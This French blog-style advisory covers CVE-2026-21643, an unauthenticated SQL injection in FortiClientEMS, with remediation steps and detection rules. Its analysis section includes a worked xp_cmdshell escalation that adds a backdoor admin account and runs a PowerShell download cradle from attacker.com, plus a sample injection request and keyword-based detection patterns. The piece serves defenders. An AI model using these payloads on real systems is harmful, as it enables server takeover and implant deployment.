Le 6 février 2026, Fortinet a publié un avis de sécurité concernant la CVE-2026-21643, une vulnérabilité d'injection SQL critique affectant FortiClientEMS (Endpoint Management Server), le serveur de gestion centralisée des agents FortiClient. Avec un score CVSS de 9.1, cette faille permet à un attaquant distant non authentifié d'exécuter des requêtes SQL arbitraires sur la base de données interne, ouvrant la voie à une exécution de commandes système (RCE) sur le serveur.
La version 7.4.4 de FortiClientEMS est directement touchée. Les branches 7.2 et 8.0 ne sont pas affectées. Le correctif est disponible dans la version 7.4.5 et supérieures. Au moment de la publication de l'avis Fortinet, aucune exploitation active dans la nature n'a été signalée, mais l'historique de ce produit incite à la plus grande prudence.
Car ce n'est pas la première fois que FortiClientEMS est frappé par ce type de vulnérabilité. En mars 2024, la CVE-2023-48788 (CVSS 9.8), elle aussi une injection SQL dans le même produit, avait été activement exploitée dans la nature quelques jours seulement après sa divulgation. Les attaquants connaissent FortiClientEMS et savent que sa compromission donne accès à l'ensemble de la flotte d'endpoints gérés.
FortiClientEMS : comprendre la cible
FortiClientEMS (Endpoint Management Server) est le composant central de la gestion des endpoints dans l'écosystème Fortinet. C'est le serveur qui permet aux administrateurs de déployer, configurer et superviser les agents FortiClient installés sur les postes de travail et serveurs d'une organisation.
Concrètement, EMS gère le déploiement centralisé des agents FortiClient (VPN, antivirus, pare-feu), l'application des politiques de sécurité sur toute la flotte, l'inventaire des endpoints et leur conformité, et l'intégration avec FortiGate pour le Zero Trust Network Access (ZTNA).
Un serveur FortiClientEMS compromis, c'est un accès potentiel à l'ensemble de la flotte d'endpoints d'une organisation. L'attaquant peut modifier les politiques, désactiver les protections, déployer des charges malveillantes sur tous les postes gérés, ou exfiltrer l'inventaire complet de l'infrastructure.
CVE-2026-21643 : analyse technique de la vulnérabilité
La CVE-2026-21643 est classée comme une CWE-89 : Improper Neutralization of Special Éléments used in an SQL Command. En termes simples, des données contrôlées par l'utilisateur sont injectées directement dans des requêtes SQL sans sanitisation adéquate.
Le vecteur d'attaque
La faille réside dans le traitement de requêtes HTTP spécialement construites envoyées vers l'interface de gestion de FortiClientEMS. Le point critique : l'exploitation ne nécessite aucune authentification. Un attaquant ayant accès réseau au port de gestion de FortiClientEMS (par défaut, le port 8013 pour les communications agents, ou le port HTTPS d'administration) peut injecter du SQL arbitraire.
FortiClientEMS utilise une base de données Microsoft SQL Server (ou SQL Server Express dans les installations par défaut) pour stocker sa configuration, l'inventaire des endpoints et les politiques. Cette architecture est identique à celle qui avait été exploitée via la CVE-2023-48788.
Du SQL injection au RCE
L'injection SQL seule est déjà grave : accès en lecture et écriture à toute la base de données, exfiltration de configurations, modification de politiques. Mais le vrai danger est l'escalade vers l'exécution de commandes système.
Sur Microsoft SQL Server, la procédure stockée xp_cmdshell permet d'exécuter des commandes du système d'exploitation directement depuis une requête SQL. Par défaut, xp_cmdshell est désactivée, mais un attaquant disposant de privilèges suffisants sur la base peut la réactiver :
-- Étape 1 : réactiver xp_cmdshell via les options avancées
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- Étape 2 : exécuter des commandes système
EXEC xp_cmdshell 'whoami';
-- Retourne typiquement : NT AUTHORITYSYSTEM
-- Étape 3 : l'attaquant peut maintenant :
EXEC xp_cmdshell 'net user backdoor P@ssw0rd /add';
EXEC xp_cmdshell 'net localgroup Administrators backdoor /add';
EXEC xp_cmdshell 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/implant.ps1'')"';Le processus SQL Server de FortiClientEMS tourne généralement avec des privilèges élevés (souvent NT AUTHORITYSYSTEM), ce qui signifie que les commandes exécutées via xp_cmdshell disposent d'un accès complet au système d'exploitation sous-jacent.
Scénario d'exploitation type
En pratique, l'attaque suit un enchaînement classique : reconnaissance (scan de ports, Shodan) pour identifier les instances EMS exposées, puis injection initiale via une requête HTTP forgée sans authentification, suivie de l'activation de xp_cmdshell et du déploiement d'un implant. Depuis EMS, l'attaquant peut ensuite pousser des configurations malveillantes vers tous les endpoints gérés.
# Exemple simplifié de requête d'exploitation
# (payload réel non divulgué pour des raisons évidentes)
curl -k -X POST https://ems-target:443/api/v1/endpoint/register
-H "Content-Type: application/json"
-d '{"hostname": "test'; EXEC xp_cmdshell 'whoami'; --"}'
# Le paramètre hostname n'est pas sanitisé et est injecté
# directement dans la requête SQL d'enregistrementCVE-2023-48788 : le précédent qui impose l'urgence
Pour mesurer le risque réel de la CVE-2026-21643, il suffit de regarder ce qui s'est passé avec son prédécesseur direct. En mars 2024, Fortinet avait corrigé la CVE-2023-48788, une injection SQL quasi identique dans FortiClientEMS, avec un score CVSS encore plus élevé de 9.8.
La chronologie de la CVE-2023-48788 est instructive :
- 12 mars 2024 : publication de l'avis de sécurité par Fortinet
- 21 mars 2024 : Horizon3.ai publie une analyse technique détaillée et un PoC fonctionnel
- 22-26 mars 2024 : GreyNoise observe les premières tentatives d'exploitation active depuis 4 adresses IP distinctes
- 25 mars 2024 : ajout au catalogue CISA KEV (Known Exploited Vulnerabilities)
En résumé : moins de deux semaines entre l'avis initial et l'exploitation active. Et cette faille précédente affectait le même composant, le même type de vulnérabilité (SQLi), avec le même vecteur d'escalade (xp_cmdshell). Les attaquants n'auront aucun mal à adapter les techniques connues à la nouvelle CVE.
La CVE-2023-48788 avait touché les versions 7.0.1 à 7.0.10 et 7.2.0 à 7.2.2 de FortiClientEMS. Le fait que la branche 7.4 soit maintenant affectée par un bug similaire soulève des questions sur les pratiques de revue de code sécurisé chez Fortinet. Les mêmes patterns de vulnérabilité se reproduisent dans des versions majeures successives du même produit.
Vérifier si vous êtes exposé
La première étape est de déterminer la version exacte de FortiClientEMS installée dans votre environnement. Plusieurs méthodes sont possibles :
# Méthode 1 : via la console d'administration web
# Se connecter à https://ems-server:443
# Dashboard → About → Version
# Méthode 2 : via le registre Windows (sur le serveur EMS)
reg query "HKLMSOFTWAREFortinetFortiClientEMS" /v Version
# Méthode 3 : vérifier le fichier exécutable
wmic product where "name like '%%FortiClient%%EMS%%'" get name,version
# Méthode 4 : via PowerShell
Get-ItemProperty "HKLM:SOFTWAREFortinetFortiClientEMS" | Select-Object Version
# Versions vulnérables :
# FortiClientEMS 7.4.4 → VULNÉRABLE
# FortiClientEMS 7.4.5+ → CORRIGÉ
# FortiClientEMS 7.2.x → NON AFFECTÉ
# FortiClientEMS 8.0.x → NON AFFECTÉVérifiez aussi l'exposition réseau : le port EMS est-il accessible depuis l'extérieur ? Un simple nmap -sV -p 443,8013 ems-server.example.com depuis l'extérieur de votre réseau vous donnera la réponse. Si le service répond, vous êtes exposé.
Plan de remédiation
1. Mise à jour immédiate vers FortiClientEMS 7.4.5
La mise à jour est le seul correctif définitif. Fortinet a publié la version 7.4.5 qui corrige la vulnérabilité en ajoutant une sanitisation correcte des entrées utilisateur dans les requêtes SQL via des requêtes paramétrées (prepared statements).
# 1. Télécharger le package depuis le portail Fortinet
# https://support.fortinet.com → Downloads → FortiClientEMS 7.4.5
# 2. Créer un backup avant la mise à jour
# Via l'interface : System Settings → Backup → Full Backup
# Ou directement sur le serveur :
sqlcmd -S localhostINTIMEDB -Q "BACKUP DATABASE FortiClientEMS TO DISK='C:BackupEMS_pre_patch.bak'"
# 3. Arrêter les services EMS
net stop "FortiClientEMS Service"
net stop "FortiClientEMS Scheduler"
# 4. Lancer l'installeur en mode upgrade
FortiClientEMS_7.4.5_Setup.exe /quiet /norestart
# 5. Vérifier la version post-mise à jour
reg query "HKLMSOFTWAREFortinetFortiClientEMS" /v Version
# 6. Redémarrer les services
net start "FortiClientEMS Service"
net start "FortiClientEMS Scheduler"
# 7. Vérifier les logs pour toute anomalie
Get-EventLog -LogName Application -Source "FortiClientEMS" -Newest 502. Restreindre l'accès réseau au serveur EMS
Que vous ayez mis à jour ou non, le serveur EMS ne devrait jamais être directement accessible depuis Internet. La surface d'attaque doit être réduite au strict minimum :
# Windows Firewall : limiter l'accès au port d'administration
# Autoriser uniquement le sous-réseau d'administration
netsh advfirewall firewall add rule name="EMS Admin - Restrict" ^
dir=in action=allow protocol=tcp localport=443 ^
remoteip=10.0.1.0/24
# Bloquer tout le reste sur le port d'administration
netsh advfirewall firewall add rule name="EMS Admin - Block All" ^
dir=in action=block protocol=tcp localport=443
# Pour les communications agent (port 8013) :
# Restreindre aux sous-réseaux des endpoints uniquement
netsh advfirewall firewall add rule name="EMS Agent - Restrict" ^
dir=in action=allow protocol=tcp localport=8013 ^
remoteip=10.0.0.0/16Si FortiClientEMS doit être accessible à des endpoints distants (travailleurs nomades), utilisez un VPN ou un tunnel FortiGate en frontal, jamais une exposition directe sur Internet.
3. Désactiver xp_cmdshell de manière proactive
Même si l'injection SQL est corrigée, la désactivation de xp_cmdshell ajoute une couche de défense en profondeur qui bloque l'escalade vers le RCE :
-- Se connecter à l'instance SQL Server utilisée par EMS
-- (généralement une instance locale nommée INTIMEDB)
sqlcmd -S localhostINTIMEDB
-- Désactiver xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 0;
RECONFIGURE;
-- Vérifier que c'est bien désactivé
EXEC sp_configure 'xp_cmdshell';
-- La valeur run_value doit être 0
-- Restreindre les permissions sur la reconfiguration
-- pour empêcher une réactivation via SQL injection
-- (nécessite un audit des rôles sysadmin)4. Auditer les logs pour détecter une compromission antérieure
L'absence de preuve n'est pas une preuve d'absence. Vérifiez vos logs :
# Rechercher des tentatives d'injection SQL dans les logs EMS
findstr /i /s "xp_cmdshell sp_configure UNION SELECT exec(" ^
"C:Program FilesFortinetFortiClientEMSlogs*.log"
# Vérifier les connexions réseau sortantes anormales
netstat -anob | findstr "ESTABLISHED" | findstr /v "127.0.0.1"
# Rechercher des comptes utilisateurs créés récemment
wmic useraccount where "LocalAccount=True" get Name,SID,Disabled
# Vérifier les tâches planifiées suspectes (backdoor fréquente)
schtasks /query /fo TABLE /v | findstr /v "Microsoft"Fortinet, un récidiviste des vulnérabilités critiques
La CVE-2026-21643 s'inscrit dans un historique de vulnérabilités critiques chez Fortinet qui commence à former un pattern inquiétant, en particulier sur FortiClientEMS :
- CVE-2023-48788 (CVSS 9.8) : injection SQL dans FortiClientEMS 7.0/7.2, exploitée activement, PoC public en 9 jours
- CVE-2024-21762 (CVSS 9.6) : exécution de code à distance dans FortiOS SSL-VPN, exploitée comme zero-day
- CVE-2024-47575 (CVSS 9.8) : faille dans FortiManager permettant l'exécution de code sans authentification
- CVE-2026-21643 (CVSS 9.1) : et maintenant, une nouvelle injection SQL dans FortiClientEMS 7.4
Le problème n'est pas qu'un éditeur ait des vulnérabilités. Le problème est que les mêmes types de failles (injection SQL, absence de sanitisation) se reproduisent dans les mêmes produits à travers les versions majeures successives. Pour les organisations dépendant de Fortinet, la conclusion est simple : ne jamais considérer un produit de sécurité comme intrinsèquement sûr, et toujours appliquer la défense en profondeur.
Détection et leçons pour les administrateurs
Au-delà du patch, mettez en place une surveillance active. Voici une règle Suricata et un script PowerShell pour détecter les tentatives d'exploitation :
# Règle Suricata pour détecter les injections SQL vers EMS
alert http any any -> $EMS_SERVER 443 (
msg:"FORTINET EMS - Possible SQL Injection Attempt";
flow:to_server,established;
content:"POST"; http_method;
pcre:"/(union|select|exec|xp_cmdshell)/i";
classtype:web-application-attack;
sid:2026001; rev:1;
)
# PowerShell : surveiller les processus enfants de SQL Server
# (indicateur d'exploitation via xp_cmdshell)
$sqlPid = (Get-Process sqlservr -ErrorAction SilentlyContinue).Id
if ($sqlPid) {
Get-CimInstance Win32_Process |
Where-Object { $_.ParentProcessId -eq $sqlPid -and $_.Name -ne "sqlservr.exe" } |
Select-Object Name, ProcessId, CommandLine, CreationDate
}Les principes de défense en profondeur applicables à FortiClientEMS (et à tout outil de gestion centralisée) :
- Ne jamais exposer les interfaces de gestion sur Internet. Même le port agent (8013) doit être filtré aux sous-réseaux connus. Les travailleurs distants passent par un VPN.
- Segmenter le réseau de gestion. EMS doit résider dans un VLAN d'administration dédié, avec des flux strictement contrôlés et journalisés.
- Appliquer le moindre privilège à SQL Server. Le service EMS ne doit pas tourner avec un compte
sysadmin. Restreignez les permissions pour empêcher l'escalade versxp_cmdshell. - Mettre en place une veille CVE proactive. Abonnez-vous aux avis PSIRT Fortinet, au NVD et au catalogue CISA KEV.
Pour construire une posture de sécurité complète sur vos serveurs, consultez la checklist sécurité serveur Linux. Et si vous pensez que vos mécanismes de détection actuels suffisent, l'article sur pourquoi Fail2ban ne suffit pas remet les pendules à l'heure.
Conclusion
La CVE-2026-21643 est un rappel brutal que les produits de sécurité sont eux-mêmes des cibles de choix. FortiClientEMS gère centralement la sécurité de tous les endpoints d'une organisation. Sa compromission est l'équivalent d'un accès root à toute l'infrastructure.
Les actions à retenir : mettre à jour vers 7.4.5 immédiatement, restreindre l'exposition réseau d'EMS aux sous-réseaux strictement nécessaires, désactiver xp_cmdshell, auditer les logs et segmenter le réseau de gestion. Traitez FortiClientEMS avec le même niveau de sécurisation qu'un contrôleur de domaine Active Directory : c'est un single point of failure pour la sécurité de tous vos endpoints.
L'actualité des failles critiques ne ralentit pas. La semaine dernière, c'était n8n et sa CVE-2026-25049 permettant le RCE. Avant cela, le Patch Tuesday de février 2026 avec ses 6 zero-days Microsoft. La veille sécurité n'est plus une option, c'est une nécessité opérationnelle.
Commentaires